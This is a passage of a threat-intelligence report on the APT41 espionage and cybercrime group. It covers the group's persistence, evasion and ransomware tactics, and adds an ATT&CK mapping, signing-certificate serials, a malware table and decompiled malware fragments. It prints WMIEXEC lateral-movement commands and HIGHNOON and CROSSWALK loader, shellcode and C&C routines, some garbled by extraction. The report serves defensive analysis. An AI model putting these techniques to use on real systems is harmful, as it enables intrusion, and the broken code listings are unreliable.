scheduled tasks on systems or modify legitimate Windows services to install the HIGHNOON and SOGU backdoors. We observed APT41 using a compromised account to create a scheduled task on a system, write a binary component of HIGHNOON containing the payload and C&C information to disk, and then modify the legitimate Windows WMI Performance Adaptor (wmiApSrv) to execute the HIGHNOON payload. APT41 frequently uses the publicly available utility WMIEXEC to move laterally across an environment. WMIEXEC is a tool that allows for the execution of WMI commands on remote machines. Examples of commands executed by the utility include: cmd.exe /c whoami > C:\wmi.dll 2>&1 cmd.exe /c del C:\wmi.dll /F > nul 2>&1 cmd.exe /c a.bat > C:\wmi.dll 2>&1 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Maintain Presence To maintain presence, APT41 relies on backdoors, a Sticky Keys vulnerability, scheduled tasks, bootkits, rootkits, registry modifications, and creating or modifying startup files. APT41 has also been observed modifying firewall rules to enable file and printer sharing to allow for inbound Server Message Block (SMB) traffic. APT41 leveraged ROCKBOOT as a persistence mechanism for PHOTO and TERA backdoors. The bootkit performs raw disk operations to bypass the typical MBR boot sequence and execute the backdoors prior to the host operating system. This technique was implemented to ensure the malware would execute at system runtime and was designed to be difficult to detect and prevent. APT41 ROCKBOOT samples have been signed with legitimate code-signing certificates from MGame and Neowiz, two South Korean video game companies. APT41 leveraged ADORE.XSEC, a Linux backdoor launched by the Adore-NG rootkit, throughout an organization's Linux environment. The group installed the backdoor and the Adore-NG rootkit persistently by creating a hidden shell script in "/etc/rc.d/init.d," a directory that contains the startup scripts for many system services. The Adore-NG rootkit is used to hide the backdoor and authenticate any incoming connections using a provided password. The group also uses CROSSWALK.BIN, FRONTWHEEL, HIGHNOON.BIN, HIGHNOON. LINUX, HOMEUNIX, and PACMAN to maintain presence. In some instances, APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment. We observed APT41 use PowerSploit with the capability to use WMI as a persistence mechanism. The group also deploys the SOGU and CROSSWALK malware families as means to maintain presence. APT41 has demonstrated it is highly agile, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, the group registered a new C&C domain, compiled a new SOGU backdoor variant, and deployed the new backdoor to several systems across multiple geographic regions. APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online. Within hours of a user opening the malicious attachment dropping a HOMEUNIX backdoor, APT41 regained a foothold within the environment by installing PHOTO on the organization's servers across multiple geographic regions. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Avoiding C&C Detection At times APT41 uses legitimate websites, such as GitHub, Pastebin, and Microsoft TechNet, to avoid detection. Interestingly, some of the group's POISONPLUG malware samples leverage the Steam Community website associated with Valve, a video game developer and publisher. This technique of storing encoded or encrypted strings, known as dead drop resolvers (DDR), on legitimate websites that can subvert network defenders as traffic to and from the sites is typically benign. Preventing Anti-Virus Updates Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy, APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address "1.1.1.1." The group has also configured Linux backdoors to run on ports used by legitimate applications within victim environments, enabling malicious traffic to bypass network security measures and hide malicious activity within the organization's regular application traffic. Complete Mission APT41 has been observed creating a RAR archive of targeted files for exfiltration. The group has also manipulated in-game currencies using the targets' databases after compromising production environments. During multiple engagements, APT41 attempted to remove evidence of some of its activity by deleting Bash histories, clearing Windows security and system events, and modifying DNS management to avoid anti-virus detections. In at least one instance, the group attempted to deploy Encryptor RaaS. However, an operator's typo prevented the ransomware from executing in the victim's environment. In another instance, APT41 deployed XMRig, a Monero cryptocurrency mining tool in a victim's environment. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX MITRE ATT&CK Mapping Initial Access Persistence t1190 Exploit Public-Facing Application t1015 Accessibility Features t1133 External Remote Services t1098 Account Manipulation t1193 Spear-phishing Attachment t1067 Bootkit t1195 Supply Chain Compromise t1136 Create Account t1199 Trusted Relationship t1038 DLL Search Order Hijacking t1078 Valid Accounts t1133 External Remote Services t1179 Hooking t1031 Modify Existing Service Execution t1050 New Service t1059 Command-Line Interface t1034 Path Interception t1223 Compiled HTML File t1108 Redundant Access t1106 Execution through API t1060 Registry Run Keys / Start Folder t1129 Execution through Module Load t1165 Startup Items t1203 Exploitation for Client Execution t1078 Valid Accounts t1061 Graphical User Interface t1100 Web Shell t1170 Mshta t1086 PowerShell t1053 Scheduled Task Privilege Escalation t1085 Rundll32 t1134 Access Token Manipulation t1064 Scripting t1015 Accessibility Features t1035 Service Execution t1038 DLL Search Order Hijacking t1204 User Execution t1034 Path Interception t1047 Windows Management Instrumentation t1055 Process Injection t1078 Valid Accounts t1100 Web Shell SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Defense Evasion Discovery t1134 Access Token Manipulation t1087 Account Discovery t1009 Binary Padding t1482 Domain Trust Discovery t1146 Clear Command History t1083 File and Directory Discovery t1116 Code Signing t1069 Permission Groups Discovery t1140 Deobfuscate / Decode Files or Information t1057 Process Discovery t1089 Disabling Security Tools t1063 Security Software Discovery t1038 DLL Search Order Hijacking t1082 System Information Discovery t1073 DLL Side-Loading t1016 System Network Configuration Discovery t1107 File Deletion t0149 System Network Connections Discovery t1054 Indicator Blocking t1033 System Owner/User Discovery t1070 Indicator Removal on Host t1124 System Time Discovery t1036 Masquerading t1497 Virtualization and Sandbox Evasion t1112 Modify Registry t1170 Mshta t1027 Obfuscated Files or Information t1055 Process Injection t1014 Rootkit t1085 Rundll32 t1064 Scripting t1045 Software Packing t1099 Timestomp t1078 Valid Accounts t1497 Virtualization and Sandbox Evasion t1102 Web Service Credential Access t1098 Account Manipulation t1110 Brute Force t1003 Credential Dumping t1081 Credentials in Files t1056 Input Capture t1145 Private Keys Lateral Movement t1075 Pass the Hash t1076 Remote Desktop Protocol t1105 Remote File Copy Command and Control t1043 Commonly Used Port t1090 Connection Proxy t1094 Custom Command and Control Protocol t1132 Data Encoding t1001 Data Obfuscation t1483 Domain Generation Algorithms t1219 Remote Access Tools t1105 Remote File Copy t1071 Standard Application Layer Protocol t1032 Standard Cryptographic Protocol t1095 Standard Non-Application Layer Protocol t1065 Uncommonly Used Port Exfiltration Collection t1119 Automated Collection t1213 Data from Information Repositories t1005 Data from Local System t1056 Input Capture t1113 Screen Capture t1002 Data Compressed t1022 Data Encrypted t1041 Exfiltration Over Command and Control Channel Impact t1487 Data Encrypted for Impact SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX Code-Signing Certificates Used by APT41 Table 14. Code-signing certificates used by APT41. Common Name Issue Date Expiry Date Status 0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35 Guangzhou YuanLuo Technology Co. 6/12/12 6/12/13 Revoked 18:63:79:57:5a:31:46:e2:6b:ef:c9:0a:58:0d:1b:d2 Webzen Inc. 8/2/11 9/30/13 Revoked 63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa xlgames 7/5/11 7/4/12 Revoked 5c:2f:97:a3:1a:bc:32:b0:8c:ac:01:00:59:8f:32:f6 Neowiz CORPORATION 11/16/11 12/15/12 Expired Mgame Corp 6/9/11 6/9/12 Expired 4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5 Fuqing Dawu Technology Co. 1/31/13 1/31/14 Revoked 14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78 Guangzhou YuanLuo Technology Co. 10/22/13 10/22/14 Revoked 58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30 Nanjing Ranyi Technology Co. 8/8/12 8/8/13 Revoked 7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b XL Games Co. 6/21/12 6/21/13 Revoked 47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe Wemade Entertainment co. 3/2/14 1/9/16 Revoked 53:0c:e1:4c:81:f3:62:10:a1:68:2a:ff:17:9e:25:80 NetSarang Computer 10/13/16 11/12/18 Revoked 30:d3:c1:67:26:5b:52:0c:b8:7f:25:84:4f:95:cb:04 Shanda Games 10/29/13 12/27/16 Revoked 54:c6:c1:40:6f:b4:ac:b5:d2:06:74:e9:93:92:c6:3e GameUS Inc 5/15/14 7/13/16 Expired 1e:52:bb:f5:c9:0e:c1:64:d0:5b:e0:e4:16:61:52:5f En Masse Entertainment 2/3/15 4/5/17 Expired fd:f2:83:7d:ac:12:b7:bb:30:ad:05:8f:99:9e:cf:00 Zepetto Co. 5/10/18 7/1/19 Expired 25:f8:78:22:de:56:d3:98:21:59:28:73:ea:09:ca:37 Electronics Extreme Limited 1/20/17 1/20/19 Expired 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d YNK JAPAN Inc 11/27/09 11/27/11 Revoked Serial 01:00:00:00:00:01:30:73:85:f7:02 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX Additional Malware Overlaps Background Throughout the course of our analysis, we consolidated multiple malware families into a single family with variants based on identified overlaps. Some of the malware families, such as HIGHNOON, are shared with other suspected Chinese espionage groups. The malware families contain similar functionalities, code overlaps, and encoding routines. Detailed descriptions on specific malware families are listed as follows. HIGHNOON HIGHNOON variants include HIGHNOON.LITE, HIGHNOON.BIN, HIGHNOON.PASTEBOY, HIGHNOON. CLI, and HIGHNOON.LINUX. Some of the variants, such as HIGHNOON.BIN, were used by multiple suspected Chinese groups, including APT41 and APT17. HIGHNOON.BIN and HIGHNOON.LITE HIGHNOON.BIN (MD5: 2862c9bff365dc8d51ba0c4953869d5d) and HIGHNOON. LITE (MD5: b5120174d92f30d3162ceda23e201cea) contain an identical in memory DLL loading function, which can be seen in Figure 20. Figure 20: HIGHNOON. BIN and HIGHNOON.LITE in memory DLL loading function. char *v8; // ecx int v9; // eax char *v10; // eax char *v11; // [esp+10h] [ebp-4h] v1 = (char *)a1 + a1[15]; v2 = (char *)VirtualAlloc(*((LPVOID *)v1 + 13), *((_DWORD *)v1 + 20), 0x2000u, 0x40u); v11 = v2; if ( !v2 ) result = (char ")VirtualAlloc(0, *((_DWORD *)v1 + 20), 0x2000u, 0x40u); v11 = result; if ( !result ) return result; v2 = result; v4 = GetProcessHeap(); v5 = (int *)HeapAlloc(v4, 0, 0x14u); v5[1] = (int)v2; v5[3] = 0; v5[2] = 0; v5[4] = 0; VirtualAlloc(v2, *((_DWORD *)v1 + 20), 0x1000u, 0x40u); v6 = (char *)VirtualAlloc(v2, *((_DWORD *)v1 + 21), 0x1000u, 0x40u); qmemcpy(v6, a1, a1[15] + *((_DWORD *)v1 + 21)); v7 = (int)&v6[a1[15]]; *v5 = v7; *(_DWORD *)(v7 + 52) = v11; sub_10002150((int)a1, (int)v1, v5); v8 = (char *)*((_DWORD *)v1 + 13); if ( v11 != v8 ) sub_10002370(v5, v11 - v8); if ( !sub_100023F0(v5) ) goto LABEL_10; sub_100022B0(v5); v9 = *(_DWORD *)(*v5 + 40); if ( v9 ) v10 = &v11[v9]; if ( !v10 || !((int (__stdcall *)(char *, int, _DWORD))v10)(v11, 1, 0) ) ABEL _10 sub_100025B0(v5); return 0; v5[4] = 1; return (char *)v5; 000021BF sub_1000020B0;52 (100021BF) char *v7; // [esp+60h] [ebp-Ch] _DWORD *v8; // [esp+68h] [ebp-4h] 8 if ( !a1 ) return 0; 10 v7 = (char *)a1 + a1[15]; 11 IpAddress = (char *)VirtualAlloc(*((LPVOID *)v7 + 13), *((_DWORD *)v7 + 20), 0x2000u, 0x40u); 12 if ( !IpAddress ) 13 IpAddress = (char *)VirtualAlloc(0, *((_DWORD *)v7 + 20), 0x2000u, 0x40u); 14 if ( !IpAddress ) return 0; 16 v2 = GetProcessHeap(): 17 v8 = HeapAlloc(v2, 0, 0x14u); 18 v8[1] = IpAddress; 19 v8[3] = 0; 20 v8[2] = 0; 21 v8[4] = 0; 22 VirtualAlloc(IpAddress, *((_DWORD *)v7 + 20), 0x1000u, 0x40u); 23 Dst = (char *)VirtualAlloc(IpAddress, *((_DWORD *)v7 + 21), 0x1000u, 0x40u 24 memcpy(Dst, a1, *((_DWORD *)v7 + 21) + a1[15]); 25 *v8 = &Dst[a1[15]]; 26 *(_DWORD *)(*v8 + 52) = IpAddress; 27 sub_4020A0(a1, v7, v8); 28 v4 = (int)&IpAddress[-*((_DWORD *)v7 + 13)]; 29 if ( v4 ) sub_402320(v8, v4); 31 if ( sub_402320(v8) ) 32 { sub_4021C0(v8); if ( !*(_DWORD *)(*v8 + 40) ) return v8; v3 = &IpAddress[*(_DWORD *)(*v8 + 40)]; if ( v3 && ((int (__stdcall *)(char *, int, _DWORD))v3)(IpAddress, 1, 0) ) v8[4] = 1; return v8; 42 } 43 sub_402740(v8); 44 return 0; 45 } 00002084 t_in_memory_DLL_loader;46 (402084) SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION HIGHNOON (MD5: df143c22465b88c4bdb042956fef8121) uses an API hashing algorithm to resolve its imports at runtime, but the layout of the in-memory DLL loading functionality is identical between HIGHNOON, HIGHNOON. BIN, and HIGHNOON.LITE samples (Figure 21). The specific samples of HIGHNOON, HIGHNOON.BIN, and HIGHNOON. LITE referenced previously are not attributed to APT41 but are instead used by other suspected Chinese groups. HIGHNOON and HIGHNOON.LITE also share the same configuration encoding routine. HIGHNOON, HIGHNOON.LITE, and HIGHNOON.BIN store a unique host identifier under the registry key HKLM\SOFTWARE\Microsoft\HTMLHelp resolve_APIS(): v3 = (_DWORD *)((char *)a1 + a1[15]); v4 = (_DWORD *)VirtualAlloc(v3[13], v3[20]. 0x2000, 0x40); if ( !v4 ) result = (_DWORD *)VirtualAlloc(0, v3[20], 0x2000, 0x40); if ( !result ) return result; v4 = result; v6 = (void *)GetProcessHeap(0, 0x14); v7 = HeapAlloc(v6, v13, v14); v7[1] = v4; v7[3] = 0; v7[2] = 0; v7[4] = 0; VirtualAlloc(v4, v3[20], 0x1000, 0x40); v8 = (char *)VirtualAlloc(v4, v3[21], 0x1000, 0x40); qmemcopy(v8, a1, a1[15] + v3[21]); v9 = (int)&v8[*(_DWORD *)(a3 + 60)]; *v7 = v9; *(_DWORD *)(v9 + 52) = a1; sub_100016A0(a3, v3, v7); v10 = (char *)v3[13]; if ( a1 != (_DWORD *)v10 ) sub_10001830(v7, (char *)a1 - v10); if ( !sub_10001770(v7) ) return 0; sub_10001770(v7); v11 = *(_DWORD *)(*v7 + 40); if ( v11 ) v12 = (char *)a1 + v11; if ( !v12 || !((int (cdec1 *)(_DWORD *, int, _DWORD))v12)(a1, 1, 0) ) return 0; v7[4] = 1; return v7; Figure 21: HIGHNOON DLL loading function. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION HIGHNOON.LINUX and HIGHNOON HIGHNOON.LINUX is a Linux variant of HIGHNOON that shares multiple component overlaps with HIGHNOON. HIGHNOON.LINUX and HIGHNOON share a message component that use the same headers and XOR encoding. The two share a transport component that provides HTTP, Fake TLS, and raw protocol options. HIGHNOON.LINUX and HIGHNOON share a similar commands component. The code for processing the commands "Tunnel" and "Plus" (to add plugins) are nearly identical. CROSSWALK and CROSSWALK.BIN CROSSWALK and CROSSWALK.BIN share several notable overlaps. Significantly, the two code families share a large amount of code in their respective shellcode components (Figure 22). Shellcode Component Overlaps The shellcode that handles C&C messages uses the same function in both families. Interestingly, additional functions used for C&C in CROSSWALK.BIN are present within CROSSWALK but unused. This suggests the families are slightly different builds originating from the same codebase. CROSSWALK.BIN's user-mode shellcode and the shellcode appended at the end of CROSSWALK contain approximately three-fourths of the same code. Both CROSSWALK and CROSSWALK.BIN's backdoors are implemented through user-mode shellcode. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 22: CROSSWALK (left) and CROSSWALK.BIN (right) shellcode. 37 __int64 v37; // [rsp+58h] [rbp+10h] 39 v37 = a2; 40 v2 = 0; 41 v3 = a1[47] == 1; 42 v4 = a1; 43 strcopy(&v36, "ok1234\n"); 44 if ( v3 ) 45 { 46 LABEL_14: if ( cgp_dyn_resolve_maybe_03(v4) <= 0 ) return v2; v24 = v4[24]; v25 = *(v4 + 13); v26 = v4[48]; *(v4 + 11) = v4; *(v4 +10) = v4 - v24; v27 = v4 + v25 - v24; v28 = (*(v4 + 31))(0i64, v26, 4096i64, 4i64); *(v4 + 25) = v28; if ( !v28 ) return v2; v29 = v4[25]; v30 = *(v4 + 28); if ( v29 > 0 ) v31 = v27; *v31++ ^= v30; --v29: while ( v29 ); if ( sub_BBA0(v4, v27) <= 0 ) return v2; v32 = v4[25]; v33 = *(v4 + 28); if ( v32 > 0 ) *v27++ ^= v33; --v32: while ( v32 ); *(*(v4 + 25) + 2032i64) = *(v4 + 17) + *v4 + 10); *(v4 + 35) = *(v4 + 17) + *(v4 + 10); (*(*(v4 + 25) + 752i644))(32775i64); v34 = (*(*(v4 + 25) + 32i64))(0i64, 0i64, *(v4 + 10) + *(v4 + 95), v4, 0, 0i64); (*(v4 + 35))(&v36); (*(*(v4 + 25) + 272i64))(v34, 0xFFFFFFFFi64); (*(*(v4 + 25) + 48i64))(v24); v2 = 1; return v2; 93 } 94 v5 = a1[12]; 95 v6 = a1[13]; 96 v7 = a1[11]; 97 v8 = v4[24]; 98 v9 = v4[19]; 99 v10 = v4[25]; 100 v4[12] = v7; 101 v11 = v10 + v9 + v8; 102 v4[13] = v7; 103 v12 = 0; 104 v13 = v10 + v9 + v8; 105 v14 = v4 - v8; 106 do 107 { v15 = *v14++; v12 = v15 + __ROR4__(v12, v7); --v13; 111 } 112 while ( v13 ); 113 if ( v6 != v12 ) return v2; 115 v16 = v4 + 48; 116 v17 = v9 + v10 - 192; 117 v18 = v17; 118 if ( v17 > 0 ) 119 { v19 = v4[14]; 0000B60A cgp_decode_shellcode:62 (B60A) 39 __int64 v39; // [rsp+58h] [rbp+10h] 41 v39 = a2; 42 v2 = 0; 43 v3 = a1[47] == 1; 44 v4 = a1; 45 strcopy(&v38, "ok1234\n"); 46 if ( v3 ) 47 { 48 LABEL_14: if ( cgp_dyn_resolve_maybe_03(v4) <= 0 ) return v2; v24 = v4[24]; v25 = *(v4 + 13); v26 = v4[48]; *(v4 + 11) = v4; *(v4 +10) = v4 - v24; v27 = v4 + v25 - v24; v28 = (*(v4 + 31))(0i64, v26, 4096i64, 4i64); *(v4 + 25) = v28; if ( !v28 ) return v2; v29 = v4[25]; v30 = *(v4 + 28); if ( v29 > 0 ) v31 = v27; *v31++ ^= v30; --v29: while ( v29 ); if ( sub_8C58(v4, v27) <= 0 ) return v2; v32 = v4[25]; v33 = *(v4 + 28); if ( v32 > 0 ) *v27++ ^= v33; --v32: while ( v32 ); *(*(v4 + 25) + 2032i64) = *(v4 + 17) + *v4 + 10); *(v4 + 35) = *(v4 + 17) + *(v4 + 10); (*(*(v4 + 25) + 752i644))(32775i64); v34 = (*(*(v4 + 25) + 32i64))(0i64, 0i64, (*(v4 + 35))(&v38); (*(*(v4 + 25) + 272i64))(v36, 0xFFFFFFFFi64); (*(*(v4 + 25) + 48i64))(v36); v2 = 1; return v2; 95 } 96 v5 = a1[12]; 97 v6 = a1[13]; 98 v7 = a1[11]; 99 v8 = v4[24]; 100 v9 = v4[19]; 101 v10 = v4[25]; 102 v4[12] = v7; 103 v11 = v10 + v9 + v8; 104 v4[13] = v7; 105 v12 = 0; 106 v13 = v10 + v9 + v8; 107 v14 = v4 - v8; 108 do 109 { v15 = *v14++; v12 = v15 + __ROR4__(v12, v7); --v13; 113 } 114 while ( v13 ); 115 if ( v6 != v12 ) return v2; 117 v16 = v4 + 48; 118 v17 = v9 + v10 - 192; 119 v18 = v17; 120 if ( v17 > 0 ) 121 { v19 = v4[14]; 00008590 cgp_decode_shellcode:49 (8590) SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Obfuscation and Anti-Analysis Overlaps Both code families share the same function at the start of their shellcode to de-obfuscate subsequent shellcode. A key function within the shellcode component that generates a semi-random XOR key and is used in multiple code locations for decoding is identical in CROSSWALK and CROSSWALK.BIN. Both use the same function for import resolution via an ASCII hash. However, there are differences between the two malware families, including how they communicate to C&C servers. CROSSWALK beacons with HTTP GET and POST requests, while CROSSWALK.BIN uses a custom binary protocol. CROSSWALK.BIN contains a driver component for covert C&C, which CROSSWALK lacks. Both families contain similar code to process identical message types, but their answers differ. CROSSWALK.BIN answers to 0x78 and 0x7A message types by calling large functions wrapping the business logic. Figure 23: CROSSWALK (left) and CROSSWALK. BIN (right) code for answering different C&C message types. CROSSWALK has different, much shorter code embedded directly in the "case" statement. strcpy(&v22, "r c:%d,l:%d\n"); v11 = 0i64; v12 = 0; (*(v3 + 2032))(&v22, v8, v5); switch ( *msg_type ) case 0x64u: if ( msg_type[1] != 216 ) v16 = 100; goto LABEL_37; v21 = (*(v9 + 248))(0i64, 216i64, 4096i64, 4i64); if ( !v21 ) return 0; (*(*(v9 + 200) + 1856i64))(v21, v7, msg_type[1]); if ( (*(*(v9 + 200) + 928i64))(*(v9 + 832), 100i64, v21, msg_type[1]) > return 1; v10 = 0; v14 = (*(*(v9 + 200) + 320i64))(); v15 = 7021i64; goto LABEL_42; case 0x6Eu: return 1; case 0x78u: if ( msg_type[1] != 16 ) v16 = 120; goto LABEL_37; v20 = (*(v9 + 248))(0i64, 16i64, 4096i64, 4i64); if ( !v20 ) return 0; (*(*(v9 + 200) + 1856i64))(v21, v7, msg_type[1]); if ( (*(*(v9 + 200) + 928i64))(*(v9 + 832), 100i64, v21, msg_type[1]) > return 1; v10 = 0; v14 = (*(*(v9 + 200) + 320i64))(); v15 = 7021i64; goto LABEL_42; case 0x7Au: v19 = msg_type[1]; if ( v19 <= 0x1000 ) if ( v19 ) v11 = (*(v9 + 248))(0i64, 16i64, 4096i64, 4i64); if ( !v11 ) return 10; (*(*(v9 + 200) + 1856i64))(v11, v7, msg_type[1]); v12 = msg_type[1]; if ( (*(*(v9 + 200) + 928i64))(*(v9 + 832), 122i64, v11, v12) > 0 ) return 1; v14 = (*(*(v9 + 200 + 320i64))(); v15 = 7023i64 goto LABEL_42 v16 = 122; goto LABEL_37; case 0x82u: strcpy(&fmt_msg, "r c%d,l:%d\n"): if ( !v3 ) goto LABEL_48 v6 = sub_3398(); v2 = v6; if ( v6 == 2 ) return 1; if ( v6 <= 0 ) return v2; LABEL_48: v7 = (msg_type + 11); (*(*(v5 + 200) + 1872i64))(&fmt_msg, *msg_type, msg_type[1]); switch ( *msg_type ) case 0x64u: (*(*(v5 + 200 + 1872i64))(v5 + 1320, 22i64); v13 = cgp_cb_msgtype_0x64_wrapper(v5, (msg_type + 11)); v9 = v5; if ( v13 > 0 ) *(v5 + 760) = 1; if ( sub_5F44(v5) > 0 ) return 1; v9 = v5; v11 = 100; goto LABEL_43; case 0x6Eu: return 1; case 0x78u: v10 = cgp_cb_msgtype_0x78(v5, v8, msg_type + 11); goto LABEL_38; case 0x7Au; v10 = cgp_cb_msgtype_07A(v5, v8, (msg_type + 11)); goto LABEL_38; SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX Malware Used by APT41 Table 15. Malware used by APT41. Malware Description ACEHASH ACEHASH is a credential theft/password hash dumping utility. The code may be based in Mimikatz and appears to be publicly available. ADORE.XSEC ADORE.XSEC is a Linux backdoor that may be used with the ADORE rootkit. Detected as FE_Trojan_AceHash FE_APT_Backdoor_Linux64_ADORE_1 FE_APT_Rootkit_Linux64_ADORE_1 FE_APT_Rootkit_ADORE FE_Webshell_ASPX_ASPXSPY_1 ASPXSPY ASPXSPY is a publicly available web shell that may contain the text "ASPXSpy Ver: 2009." BEACON BEACON malware is a backdoor that is commercially available as part of the Cobalt Strike software platform, commonly used for pen-testing network environments. The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. CHINACHOP CHINACHOP is a simple code injection web shell that can execute Microsoft .NET code within HTTP POST commands. This allows CHINACHOP to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and perform any other action allowed by the .NET runtime. CHINACHOP is composed of at least two parts: a small bit of code on a server and a client that provides C&C. FE_Webshell_ASPX_ASPXSPY_2 FE_Webshell_ASPX_ASPXSPY_3 FE_Webshell_ASPX_ASPXSPY_4 FE_Backdoor_Win_BEACON_1 FE_Trojan_PS1_BEACON_1 FE_Webshell_JSP_CHOPPER_1 FE_Webshell_Java_CHOPPER_1 FE_Webshell_MSIL_CHOPPER_1 FE_APT_Trojan_COLDJAVA_Dropper COLDJAVA COLDJAVA is a backdoor that drops shellcode and a BLACKCOFFEE variant payload into the Windows registry. FE_APT_Trojan_COLDJAVA_64 FE_APT_Trojan_COLDJAVA_32 FE_APT_Backdoor_COLDJAVA FE_APT_Trojan_COLDJAVA_Launcher CRACKSHOT CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory. It is also capable of placing itself into a dormant state. CROSSWALK is a skeletal, modular backdoor capable of system survey and adding modules in response to C&C replies. FE_APT_Backdoor_Win_CROSSWALK_1 CROSSWALK CROSSWALK.BIN is a kernel driver that can implement firewall-level filters to detect tasking packets and covertly send data. FE_APT_Dropper_Win64_CROSSWALK_1 CROSSWALK.BIN FE_Backdoor_Win32_CRACKSHOT_1 Backdoor.Win.CRACKSHOT FE_APT_Loader_Win_CROSSWALK_1 APT.Backdoor.Win.CROSSWALK FE_APT_Dropper_Win64_CROSSWALK_2 FE_APT_Trojan_Win64_CROSSWALK_1 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 15. Malware used by APT41. Malware Description Detected as DEADEYE DEADEYE is a downloader that is installed as a Service DLL. It can use RC5 encryption to decrypt and install payloads obtained from its C&C server. DOWNTIME DOWNTIME is a backdoor dropped as an embedded PE file to a variety of locations on disk or loaded and executed in memory. The final payload is a DLL used to install, manage, and execute plugin DLLs. EASYNIGHT EASYNIGHT is a loader observed used with several malware families, including HIGHNOON and HIGHNOON. LITE. The loader often acts as a persistence mechanism via search order hijacking. ENCRYPTORRAAS ENCRYPTORRAAS (Encryptor RaaS) is a ransomware that encrypts all files on the system that match an included file extensions list. As is typical of most ransomware, a combination of both public-key and symmetric-key cryptography is used to encrypt the data. File data is encrypted using RC6, with the RC6 key for each file being encrypted with RSA. A ransom note in the form of a text file, typically named "readme_liesmich_encryptor_raas. txt," is dropped in every directory in which a file was encrypted. Encryptor RaaS was sold via a RaaS operation that was available around the 2015 2016 time frame via a Tor (.onion) website. FRONTWHEEL FRONTWHEEL is a driver for the HIGHNOON.BIN backdoor. FE_APT_Rootkit_Win64_FRONTWHEEL_1 GEARSHIFT GEARSHIFT is a memory-only dropper for two keylogger DLLs. It is designed to replace a legitimate Fax Service DLL. FE_APT_Keylogger_GEARSHIFT GH0ST Gh0st is a remote access tool (RAT) derived from publicly available source code. It provides threat actors with the ability to perform screen and audio captures, enable a webcam, list and kill processes, open a command shell, wipe event logs, and create, manipulate, delete, launch, and transfer files. GOODLUCK GOODLUCK is a credential-stealing DLL that modifies the registry, so it loads when a user logs on to the system. It steals credentials from the logon screen and saves the information to a local file. HIGHNOON HIGHNOON is a backdoor that may consist of multiple components. The components may include a loader, a DLL, and a rootkit. Both the loader and the DLL may be dropped together, but the rootkit may be embedded in the DLL. The HIGHNOON loader may be designed to run as a Windows service. FE_APT_Loader_Win64_DEADEYE_1 FE_APT_Loader_Win64_DEADEYE_2 FE_Dropper_Win32_DOWNTIME_1 FE_Loader_Win32_DOWNTIME_1 FE_APT_Loader_Win_EASYNIGHT_1 FE_Ransomware_Win32_ENCRYPTORRAAS_1 FE_Ransomware_Win32_ENCRYPTORRAAS_2 Backdoor.APT.Gh0stRat Backdoor.APT.Gh0st Trojan.Ghost Hacktool.APT.GOODLUCK FE_APT_Backdoor_Win64_HIGHNOON_1 FE_APT_Dropper_HIGHNOON_B FE_APT_Loader_Win64_HIGHNOON_2 FE_APT_Loader_Win64_HIGHNOON_3 FE_APT_Rootkit_Win64_HIGHNOON_1 FE_APT_Rootkit_Win64_HIGHNOON_2 FE_APT_Rootkit_Win64_HIGHNOON_3 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 15. Malware used by APT41. Malware Description Detected as FE_APT_Trojan_Win32_HIGHNOON_1 HIGHNOON.BIN HIGHNOON.BIN is a modified version of the Windows DLL apphelp.dll, which is loaded via search order hijacking. HIGHNOON.BIN contains a malicious shellcode backdoor that is loaded into memory at runtime. FE_APT_Loader_Win32_HIGHNOON_1 FE_APT_Loader_Win64_HIGHNOON_1 FE_APT_Trojan_Win32_HIGHNOON_2 APT.Backdoor.Win.HIGHNOON APT.Backdoor.Win.HIGHNOON HIGHNOON.LITE HIGHNOON.LITE is a standalone, non-persistent variant of the HIGHNOON backdoor. This version accepts a hostname and port on the command line. If no port is specified, the malware will use port 80 by default. HIGHNOON.LITE can download and execute additional memory-resident modules after it authenticates with the C&C server. HIGHNOON.LINUX HIGHNOON.LINUX is a Linux backdoor designed to operate with a rootkit and can launch and establish persistence for an sshd client whose presence and activity is hidden by the rootkit. FE_APT_Trojan_Win32_HIGHNOON_7 